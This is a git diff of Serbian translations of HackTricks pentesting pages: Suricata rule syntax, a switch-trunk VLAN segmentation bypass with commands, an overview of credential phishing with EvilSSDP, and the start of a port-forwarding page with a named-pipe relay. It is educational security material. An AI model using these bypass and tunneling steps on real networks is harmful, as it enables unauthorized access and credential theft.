| ! 1.1.1.1 | Sve IP adrese osim 1.1.1.1 |
|
||||
| !\[1.1.1.1, 1.1.1.2] | Sve IP adrese osim 1.1.1.1 i 1.1.1.2 |
|
||||
| $HOME\_NET | Vaša postavka HOME\_NET u yaml-u |
|
||||
| \[$EXTERNAL\_NET, !$HOME\_NET] | EXTERNAL\_NET i ne HOME\_NET |
|
||||
| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24 osim 10.0.0.5 |
|
||||
| Primer | Značenje |
|
||||
| ------------------------------- | ----------------------------------------- |
|
||||
| ! 1.1.1.1 | Svaka IP adresa osim 1.1.1.1 |
|
||||
| !\[1.1.1.1, 1.1.1.2] | Svaka IP adresa osim 1.1.1.1 i 1.1.1.2 |
|
||||
| $HOME\_NET | Vaša postavka HOME\_NET u yaml |
|
||||
| \[$EXTERNAL\_NET, !$HOME\_NET] | EXTERNAL\_NET i ne HOME\_NET |
|
||||
| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24 osim za 10.0.0.5 |
|
||||
|
||||
#### Izvorišni i odredišni portovi
|
||||
#### Izvori i odredišne portove
|
||||
|
||||
Podržava opsege portova, negacije i liste portova
|
||||
|
||||
| Primer | Značenje |
|
||||
| --------------- | -------------------------------------- |
|
||||
| any | bilo koji port |
|
||||
| \[80, 81, 82] | port 80, 81 i 82 |
|
||||
| \[80: 82] | Opseg od 80 do 82 |
|
||||
| \[1024: ] | Od 1024 do najvišeg broja porta |
|
||||
| !80 | Svaki port osim 80 |
|
||||
| \[80:100,!99] | Opseg od 80 do 100, ali bez 99 |
|
||||
| \[1:80,!\[2,4]] | Opseg od 1 do 80, osim portova 2 i 4 |
|
||||
| Primer | Značenje |
|
||||
| ----------------| --------------------------------------- |
|
||||
| any | bilo koja adresa |
|
||||
| \[80, 81, 82] | port 80, 81 i 82 |
|
||||
| \[80: 82] | Opseg od 80 do 82 |
|
||||
| \[1024: ] | Od 1024 do najvišeg broja porta |
|
||||
| !80 | Svaki port osim 80 |
|
||||
| \[80:100,!99] | Opseg od 80 do 100 osim 99 |
|
||||
| \[1:80,!\[2,4]] | Opseg od 1-80, osim portova 2 i 4 |
|
||||
|
||||
#### Smer
|
||||
|
||||
Moguće je naznačiti smer primene pravila komunikacije:
|
||||
Moguće je naznačiti smer komunikacione pravila koja se primenjuje:
|
||||
```
|
||||
source -> destination
|
||||
source <> destination (both directions)
|
||||
```
|
||||
#### Ključne reči
|
||||
|
||||
Postoji **stotine opcija** dostupnih u Suricati za pretragu **specifičnog paketa** koji tražite, ovde će biti navedeno ako se pronađe nešto interesantno. Proverite [**dokumentaciju**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html) za više informacija!
|
||||
Postoji **stotine opcija** dostupnih u Suricata za pretragu **specifičnog paketa** koji tražite, ovde će biti pomenuto ako se pronađe nešto zanimljivo. Proverite [**dokumentaciju**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html) za više informacija!
|
||||
```bash
|
||||
# Meta Keywords
|
||||
msg: "description"; #Set a description to the rule
|
||||
|
@ -263,14 +234,17 @@ drop tcp any any -> any any (msg:"regex"; pcre:"/CTF\{[\w]{3}/i"; sid:10001;)
|
|||
## Drop by port
|
||||
drop tcp any any -> any 8000 (msg:"8000 port"; sid:1000;)
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite vašu **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,38 +1,41 @@
|
|||
# Bypassiranje bočne VLAN segmentacije
|
||||
# Lateral VLAN Segmentation Bypass
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Ako je direktni pristup prekidaču dostupan, VLAN segmentacija može biti zaobiđena. To uključuje rekonfigurisanje povezanog porta u trunk mod, uspostavljanje virtuelnih interfejsa za ciljne VLAN-ove i postavljanje IP adresa, dinamički (DHCP) ili statički, u zavisnosti od scenarija (**za dalje detalje pogledajte [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
|
||||
Ako je direktan pristup switch-u dostupan, VLAN segmentacija može biti zaobiđena. To uključuje reconfiguraciju povezanog porta u trunk mod, uspostavljanje virtuelnih interfejsa za ciljne VLAN-ove i postavljanje IP adresa, bilo dinamički (DHCP) ili statički, u zavisnosti od scenarija (**za više detalja pogledajte [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
|
||||
|
||||
Prvo je potrebno identifikovati specifični povezani port. To se obično može postići putem CDP poruka ili pretragom porta putem **include** maske.
|
||||
Prvo je potrebno identifikovati specifičan povezani port. To se obično može postići putem CDP poruka, ili pretraživanjem porta putem **include** maske.
|
||||
|
||||
**Ako CDP nije operativan, identifikacija porta se može pokušati pretragom MAC adrese**:
|
||||
**Ako CDP nije operativan, identifikacija porta može se pokušati pretraživanjem MAC adrese**:
|
||||
```
|
||||
SW1(config)# show mac address-table | include 0050.0000.0500
|
||||
```
|
||||
Pre prelaska na režim trake, treba sastaviti listu postojećih VLAN-ova i odrediti njihove identifikatore. Ti identifikatori se zatim dodeljuju interfejsu, omogućavajući pristup različitim VLAN-ovima putem trake. Na primer, port koji se koristi je povezan sa VLAN-om 10.
|
||||
Pre nego što se pređe u trunk režim, treba sastaviti listu postojećih VLAN-ova i odrediti njihove identifikatore. Ovi identifikatori se zatim dodeljuju interfejsu, omogućavajući pristup različitim VLAN-ovima putem trunk-a. Port koji se koristi, na primer, povezan je sa VLAN 10.
|
||||
```
|
||||
SW1# show vlan brief
|
||||
```
|
||||
**Prelazak na režim trunka podrazumeva ulazak u režim konfiguracije interfejsa**:
|
||||
**Prelazak u trunk režim podrazumeva ulazak u režim konfiguracije interfejsa**:
|
||||
```
|
||||
SW1(config)# interface GigabitEthernet 0/2
|
||||
SW1(config-if)# switchport trunk encapsulation dot1q
|
||||
SW1(config-if)# switchport mode trunk
|
||||
```
|
||||
Prebacivanje u trunk režim privremeno će prekinuti konekciju, ali se ona može kasnije obnoviti.
|
||||
Prelazak u trunk režim će privremeno prekinuti konektivnost, ali se to može kasnije obnoviti.
|
||||
|
||||
Zatim se kreiraju virtualni interfejsi, dodeljuju VLAN ID-ovi i aktiviraju:
|
||||
Zatim se kreiraju virtuelni interfejsi, dodeljuju VLAN ID-ovi i aktiviraju:
|
||||
```bash
|
||||
sudo vconfig add eth0 10
|
||||
sudo vconfig add eth0 20
|
||||
|
@ -43,33 +46,36 @@ sudo ifconfig eth0.20 up
|
|||
sudo ifconfig eth0.50 up
|
||||
sudo ifconfig eth0.60 up
|
||||
```
|
||||
Nakon toga, zahtev za adresu se šalje putem DHCP-a. Alternativno, u slučajevima kada DHCP nije moguć, adrese se mogu ručno konfigurisati:
|
||||
Nakon toga, zahtev za adresu se šalje putem DHCP-a. Alternativno, u slučajevima kada DHCP nije izvodljiv, adrese se mogu ručno konfigurisati:
|
||||
```bash
|
||||
sudo dhclient -v eth0.10
|
||||
sudo dhclient -v eth0.20
|
||||
sudo dhclient -v eth0.50
|
||||
sudo dhclient -v eth0.60
|
||||
```
|
||||
Primer za ručno podešavanje statičke IP adrese na interfejsu (VLAN 10):
|
||||
Primer za ručno postavljanje statičke IP adrese na interfejsu (VLAN 10):
|
||||
```bash
|
||||
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
```
|
||||
Povezivost se testira pokretanjem ICMP zahteva ka podrazumevanim gateway-ima za VLAN-ove 10, 20, 50 i 60.
|
||||
Konekcija se testira pokretanjem ICMP zahteva ka podrazumevanim prolazima za VLAN-ove 10, 20, 50 i 60.
|
||||
|
||||
Konačno, ovaj proces omogućava zaobilaženje VLAN segmentacije, čime se olakšava neograničen pristup bilo kojoj VLAN mreži i postavlja temelj za dalje radnje.
|
||||
Na kraju, ovaj proces omogućava zaobilaženje VLAN segmentacije, čime se olakšava neograničen pristup bilo kojoj VLAN mreži i postavlja osnova za naredne akcije.
|
||||
|
||||
## Reference
|
||||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,53 +1,59 @@
|
|||
# Lažiranje SSDP i UPnP uređaja pomoću EvilSSDP
|
||||
# Spoofing SSDP i UPnP uređaja sa EvilSSDP
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Proverite [https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/](https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/) za dodatne informacije.**
|
||||
|
||||
## **Pregled SSDP i UPnP-a**
|
||||
## **Pregled SSDP i UPnP**
|
||||
|
||||
SSDP (Simple Service Discovery Protocol) se koristi za oglašavanje i otkrivanje mrežnih usluga, radi na UDP portu 1900 bez potrebe za DHCP ili DNS konfiguracijama. On je osnovan u UPnP (Universal Plug and Play) arhitekturi, koja omogućava besprekornu interakciju između umreženih uređaja kao što su računari, štampači i mobilni uređaji. UPnP-ova mreža bez konfiguracije podržava otkrivanje uređaja, dodeljivanje IP adresa i oglašavanje usluga.
|
||||
SSDP (Simple Service Discovery Protocol) se koristi za oglašavanje i otkrivanje mrežnih usluga, radi na UDP portu 1900 bez potrebe za DHCP ili DNS konfiguracijama. Osnovni je deo UPnP (Universal Plug and Play) arhitekture, olakšavajući neometanu interakciju među umreženim uređajima kao što su PC, štampači i mobilni uređaji. UPnP-ova mreža bez konfiguracije podržava otkrivanje uređaja, dodeljivanje IP adresa i oglašavanje usluga.
|
||||
|
||||
## **UPnP tok i struktura**
|
||||
## **UPnP Tok i Struktura**
|
||||
|
||||
UPnP arhitektura se sastoji od šest slojeva: adresiranje, otkrivanje, opis, kontrola, događaji i prezentacija. U početku, uređaji pokušavaju da dobiju IP adresu ili sami dodele jednu (AutoIP). Faza otkrivanja uključuje SSDP, pri čemu uređaji aktivno šalju M-SEARCH zahteve ili pasivno emituju NOTIFY poruke kako bi najavili usluge. Kontrolni sloj, koji je ključan za interakciju između klijenta i uređaja, koristi SOAP poruke za izvršavanje komandi na osnovu opisa uređaja u XML datotekama.
|
||||
UPnP arhitektura se sastoji od šest slojeva: adresiranje, otkrivanje, opis, kontrola, događaji i prezentacija. U početku, uređaji pokušavaju da dobiju IP adresu ili da je sami dodele (AutoIP). Faza otkrivanja uključuje SSDP, pri čemu uređaji aktivno šalju M-SEARCH zahteve ili pasivno emitiraju NOTIFY poruke kako bi najavili usluge. Kontrolni sloj, koji je ključan za interakciju klijent-uređaj, koristi SOAP poruke za izvršavanje komandi na osnovu opisa uređaja u XML datotekama.
|
||||
|
||||
## **Pregled IGD-a i alata**
|
||||
## **Pregled IGD i Alata**
|
||||
|
||||
IGD (Internet Gateway Device) omogućava privremeno mapiranje portova u NAT postavkama, omogućavajući prijem komandi putem otvorenih SOAP kontrolnih tačaka uprkos standardnim ograničenjima WAN interfejsa. Alati poput **Miranda** pomažu u otkrivanju UPnP usluga i izvršavanju komandi. **Umap** otkriva UPnP komande koje su dostupne preko WAN-a, dok repozitorijumi poput **upnp-arsenal** nude niz UPnP alata. **Evil SSDP** se specijalizuje za ribarenje putem lažiranih UPnP uređaja, pružajući šablone za imitiranje legitimnih usluga.
|
||||
IGD (Internet Gateway Device) olakšava privremeno mapiranje portova u NAT podešavanjima, omogućavajući prihvatanje komandi putem otvorenih SOAP kontrolnih tačaka uprkos standardnim WAN interfejsnim ograničenjima. Alati kao što su **Miranda** pomažu u otkrivanju UPnP usluga i izvršavanju komandi. **Umap** izlaže UPnP komande dostupne putem WAN-a, dok repozitorijumi kao što su **upnp-arsenal** nude niz UPnP alata. **Evil SSDP** se specijalizuje za phishing putem lažnih UPnP uređaja, nudeći šablone za imitaciju legitimnih usluga.
|
||||
|
||||
## **Praktična upotreba Evil SSDP-a**
|
||||
## **Praktična Upotreba Evil SSDP**
|
||||
|
||||
Evil SSDP efikasno stvara ubedljive lažne UPnP uređaje, navodeći korisnike da interaguju sa navodno autentičnim uslugama. Korisnici, prevareni autentičnim izgledom, mogu pružiti osetljive informacije poput akreditiva. Svestranost alata se proteže na razne šablone, imitirajući usluge poput skenera, Office365-a, pa čak i trezora za lozinke, iskorišćavajući poverenje korisnika i vidljivost mreže. Nakon krađe akreditiva, napadači mogu preusmeriti žrtve na određene URL-ove, održavajući kredibilitet prevare.
|
||||
Evil SSDP efikasno stvara uverljive lažne UPnP uređaje, manipulišući korisnicima da komuniciraju sa naizgled autentičnim uslugama. Korisnici, prevareni stvarnim izgledom, mogu pružiti osetljive informacije kao što su akreditivi. Svestranost alata se proteže na različite šablone, imitujući usluge kao što su skeneri, Office365, pa čak i trezori za lozinke, koristeći poverenje korisnika i vidljivost mreže. Nakon hvatanja akreditiva, napadači mogu preusmeriti žrtve na određene URL-ove, održavajući kredibilitet obmane.
|
||||
|
||||
## **Strategije zaštite**
|
||||
## **Strategije Ublažavanja**
|
||||
|
||||
Da bi se suzbile ove pretnje, preporučene mere uključuju:
|
||||
Da bi se suprotstavili ovim pretnjama, preporučene mere uključuju:
|
||||
|
||||
- Onemogućavanje UPnP-a na uređajima kada nije potreban.
|
||||
- Edukacija korisnika o ribarenju i bezbednosti mreže.
|
||||
- Praćenje mrežnog saobraćaja radi otkrivanja nešifrovanih osetljivih podataka.
|
||||
- Onemogućavanje UPnP na uređajima kada nije potrebno.
|
||||
- Obrazovanje korisnika o phishing-u i mrežnoj bezbednosti.
|
||||
- Praćenje mrežnog saobraćaja za nešifrovane osetljive podatke.
|
||||
|
||||
U suštini, dok UPnP pruža praktičnost i fluidnost mreže, takođe otvara vrata potencijalnoj zloupotrebi. Svest i proaktivna odbrana su ključni za očuvanje integriteta mreže.
|
||||
U suštini, dok UPnP nudi pogodnost i fluidnost mreže, takođe otvara vrata potencijalnoj eksploataciji. Svest i proaktivna odbrana su ključni za osiguranje integriteta mreže.
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# Tunelovanje i prosleđivanje porta
|
||||
# Tunneling and Port Forwarding
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF-u**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova u [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
|
@ -20,15 +23,15 @@
|
|||
|
||||
***
|
||||
|
||||
## Nmap savet
|
||||
## Nmap tip
|
||||
|
||||
{% hint style="warning" %}
|
||||
**ICMP** i **SYN** skenovi ne mogu biti tunelovani kroz socks proxy, stoga moramo **onemogućiti otkrivanje pinga** (`-Pn`) i specificirati **TCP skenove** (`-sT`) da bi ovo radilo.
|
||||
**ICMP** i **SYN** skeniranja ne mogu se tunelovati kroz socks proksije, tako da moramo **onemogućiti ping otkrivanje** (`-Pn`) i odrediti **TCP skeniranja** (`-sT`) da bi ovo radilo.
|
||||
{% endhint %}
|
||||
|
||||
## **Bash**
|
||||
|
||||
**Host -> Skok -> InterniA -> InterniB**
|
||||
**Host -> Jump -> InternalA -> InternalB**
|
||||
```bash
|
||||
# On the jump server connect the port 3333 to the 5985
|
||||
mknod backpipe p;
|
||||
|
@ -46,11 +49,11 @@ evil-winrm -u username -i Jump
|
|||
```
|
||||
## **SSH**
|
||||
|
||||
Grafička SSH veza (X)
|
||||
